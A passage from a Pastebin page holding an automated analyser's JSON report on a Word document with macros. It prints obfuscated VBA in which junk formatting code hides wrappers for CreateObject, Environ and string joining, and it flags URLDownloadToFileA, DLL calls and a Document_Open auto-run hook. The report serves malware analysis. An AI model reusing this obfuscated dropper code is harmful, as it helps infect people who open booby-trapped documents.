.MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nWith Selection.Cells\n .Borders(wdBorderLeft).LineStyle = wdLineStyleNone\n With .Borders(wdBorderRight)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderTop)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderBottom)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n .Borders.Shadow = False\nEnd With\nWith Options\n .DefaultBorderLineStyle = wdLineStyleSingle\n .DefaultBorderLineWidth = wdLineWidth050pt\n .DefaultBorderColorIndex = wdAuto\nEnd With\n\n\n\nEnd Select\n\n\nEnd Function\nFunction zB1jevQih(vgitu As String, hlhyoQqNWKzUQIf As String)\nzB1jevQih = vgitu + hlhyoQqNWKzUQIf\nEnd Function\nFunction CmaDNsXSStKW(XD8rHGLkukakFvRixUV As String, hx2QV As String)\n\nSelect Case 850\nCase (847 + 415 + (870 - (790) + -492)): CmaDNsXSStKW = XD8rHGLkukakFvRixUV + hx2QV\n\nCase (547 + (-146) - (-474 + 194) + (755)):\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\nEnd Select\n\n\nEnd Function\nFunction Vu0ojWQqybp(x1t95nk11e As String, XcYrbdM0n As String)\n\nSelect Case 234\nCase (348 + (909) - (918 + -494) + (354)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\n\n ' reference the current document\n Set docActive = ActiveDocument\n\n ' get the name of doc and also path/name\n ' of the template it's based-on\n strDocName = docActive.Name\n strTemplateName = docActive.AttachedTemplate.FullName\n\n ' create a copy document based on same template\n Set docNew = Documents.Add(strTemplateName)\n\n ' loop to copy each part of the active doc to the new doc\n For Each rngActiveDocPart In docActive.StoryRanges\n ' reference same part\n Set rngNewDocPart = docNew.StoryRanges _\n (rngActiveDocPart.StoryType)\n rngActiveDocPart.Copy\n rngNewDocPart.Paste\n Next rngActiveDocPart\n\n ' make the new document active\n docNew.Activate\n\n ' offer to save it on floppy drive A:\\\n\n\n\n\nCase (-797 + 921 + (-415 - (-568) + -43)): Vu0ojWQqybp = x1t95nk11e + XcYrbdM0n\n\nEnd Select\n\n\nEnd Function\nFunction UWVuzd2m5a(EEgbS5c2 As String, xaiVn As String)\n\nSelect Case 343\nCase (-28 + 360 + (-227 - (697) + 935)): UWVuzd2m5a = EEgbS5c2 + xaiVn\n\nCase (548 + (-562) - (-445 + -230) + (-705)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nWith Selection.Cells\n .Borders(wdBorderLeft).LineStyle = wdLineStyleNone\n With .Borders(wdBorderRight)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderTop)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderBottom)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n .Borders.Shadow = False\nEnd With\nWith Options\n .DefaultBorderLineStyle = wdLineStyleSingle\n .DefaultBorderLineWidth = wdLineWidth050pt\n .DefaultBorderColorIndex = wdAuto\nEnd With\n\n\n\nEnd Select\n\n\nEnd Function\nFunction teePovJThqk(cuGNBf7zYiaOoA6srLw As String, FBHGQQ As String)\n\nSelect Case -1575\nCase (-434 + 347 + (-921 - (-289) + -856)): teePovJThqk = cuGNBf7zYiaOoA6srLw + FBHGQQ\n\nCase (-646 + (-113) - (-500 + 504) + (950)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\nEnd Function\nFunction wXXOBwP(Mlk7Rw2pvxLGB As String, LfFfx03GRv82EmGbLd As String)\n\nSelect Case 1226\nCase (-863 + 881 + (906 - (-678) + -376)): wXXOBwP = Mlk7Rw2pvxLGB + LfFfx03GRv82EmGbLd\n\nCase (483 + (-64) - (-347 + 484) + (-969)):\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nEnd Select\n\n\nEnd Function\nFunction zXV4j5tC(qw6BL As String, ERGeLyE9Wb9 As String)\n\nSelect Case -1613\nCase (-508 + -484 + (-568 - (433) + 380)): zXV4j5tC = qw6BL + ERGeLyE9Wb9\n\nCase (-92 + (150) - (-381 + -526) + (-727)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nEnd Select\n\n\nEnd Function\nFunction dfRj09GGx9(aZwbJPNn As String, vc4CAlDaJVJ5AK As String)\n\nSelect Case 56\nCase (-450 + -637 + (407 - (-220) + 516)): dfRj09GGx9 = aZwbJPNn + vc4CAlDaJVJ5AK\n\nCase (-459 + (-667) - (82 + -589) + (425)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nEnd Select\n\n\nEnd Function\nFunction iI4gRDlrZ(GhMhHCmbR As String, EhfjJQZI9WbM3 As String)\n\nSelect Case -1575\nCase (-306 + -795 + (-339 - (559) + 424)): iI4gRDlrZ = GhMhHCmbR + EhfjJQZI9WbM3\n\nCase (-689 + (-645) - (228 + -269) + (287)):\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nSelection.Find.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nSelection.Find.Execute\n\n\n\nEnd Select\n\n\nEnd Function\nFunction zWzifR4(Ualep0H4QF As String, vNc3f As String)\n\nSelect Case -520\nCase (-523 + (563) - (949 + -817) + (348)):\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nCase (550 + -254 + (-886 - (-113) + -43)): zWzifR4 = Ualep0H4QF + vNc3f\n\nEnd Select\n\n\nEnd Function\nFunction kldBbOl(Vo30c7y4Yrz5jm0nO As String, rdr7WYwa91kSk As String)\n\nSelect Case 929\nCase (-81 + (488) - (-761 + -992) + (-820)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nCase (23 + 53 + (289 - (-940) + -376)): kldBbOl = Vo30c7y4Yrz5jm0nO + rdr7WYwa91kSk\n\nEnd Select\n\n\nEnd Function\nFunction luT4ufQEbXfb(LhNumLSb As String, kwVVC As String)\n\nSelect Case -2209\nCase (-638 + (-818) - (-782 + -359) + (-290)):\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nCase (36 + 27 + (-438 - (945) + -889)): luT4ufQEbXfb = LhNumLSb + kwVVC\n\nEnd Select\n\n\nEnd Function\nFunction leOVUzQenaA(WuUpWIM9ese3) As Object\n\nSelect Case 2709\nCase (-670 + (574) - (-369 + 257) + (873)):\n\n\n\nSelection.Find.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nSelection.Find.Execute\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nCase (361 + 598 + (326 - (-763) + 661)): Set leOVUzQenaA = CreateObject(WuUpWIM9ese3)\n\nEnd Select\n\n\nEnd Function\n\nFunction ii3epYH(KyYTAzvjd6) As String\n\nSelect Case 858\nCase (556 + 562 + (-82 - (-347) + -525)): ii3epYH = Environ(KyYTAzvjd6)\n\nCase (979 + (-861) - (-339 + -128) + (72)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nEnd Select\n\n\nEnd Function\n\n"
  3341. ]
  3342. ]
  3343. },
  3344. "Analysis": {
  3345. "Suspicious": [
  3346. [
  3347. "Open",
  3348. "May open a file"
  3349. ],
  3350. [
  3351. "CreateObject",
  3352. "May create an OLE object"
  3353. ],
  3354. [
  3355. "FileCopy",
  3356. "May copy a file"
  3357. ],
  3358. [
  3359. "Environ",
  3360. "May read system environment variables"
  3361. ],
  3362. [
  3363. "Put",
  3364. "May write to a file (if combined with Open)"
  3365. ],
  3366. [
  3367. "URLDownloadToFileA",
  3368. "May download files from the Internet"
  3369. ],
  3370. [
  3371. "Lib",
  3372. "May run code from a DLL"
  3373. ]
  3374. ],
  3375. "AutoExec": [
  3376. [
  3377. "Document_Open",
  3378. "Runs when the Word document is opened"
  3379. ]
  3380. ]
  3381. }
  3382. },
  3383. "Metadata": {
  3384. "SummaryInformation": {
  3385. "num_words": "0",
  3386. "num_pages": "1",
  3387. "last_saved_by": "user",
  3388. "creating_application": "Microsoft Office Word",
  3389. "author": "",
  3390. "revision_number": "2",
  3391. "codepage": "1252",
  3392. "title": "",
  3393. "comments": "",
  3394. "num_chars": "1",
  3395. "total_edit_time": "0",
  3396. "create_time": "None",
  3397. "template": "Normal.dotm",
  3398. "last_printed": "None",
  3399. "keywords": "",
  3400. "security": "0",
  3401. "last_saved_time": "None",
  3402. "thumbnail": "None",
  3403. "subject": ""
  3404. },
  3405. "DocumentSummaryInformation": {
  3406. "codepage_doc": "1252",
  3407. "chars_with_spaces": "1",
  3408. "shared_doc": "False",
  3409. "paragraphs": "1",
  3410. "hidden_slides": "None",
  3411. "mm_clips": "None",
  3412. "category": "None",
  3413. "presentation_target": "None",
  3414. "hlinks_changed": "False",
  3415. "scale_crop": "False",
  3416. "version": "1048576",
  3417. "hlinks": "None",
  3418. "link_base": "None",
  3419. "company": "",
  3420. "unused": "None",
  3421. "dig_sig": "None",
  3422. "content_type": "None",
  3423. "heading_pairs": "None",
  3424. "slides": "None",
  3425. "links_dirty": "False",
  3426. "language": "None",
  3427. "notes": "None",
  3428. "bytes": "11000",
  3429. "manager": "None",
  3430. "content_status": "None",
  3431. "doc_version": "None",
  3432. "titles_of_parts": "None",
  3433. "lines": "1"
  3434. },
  3435. "HasMacros": "Yes",
  3436. "DocumentType": "Word Document"
  3437. }
  3438. }
  3439. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!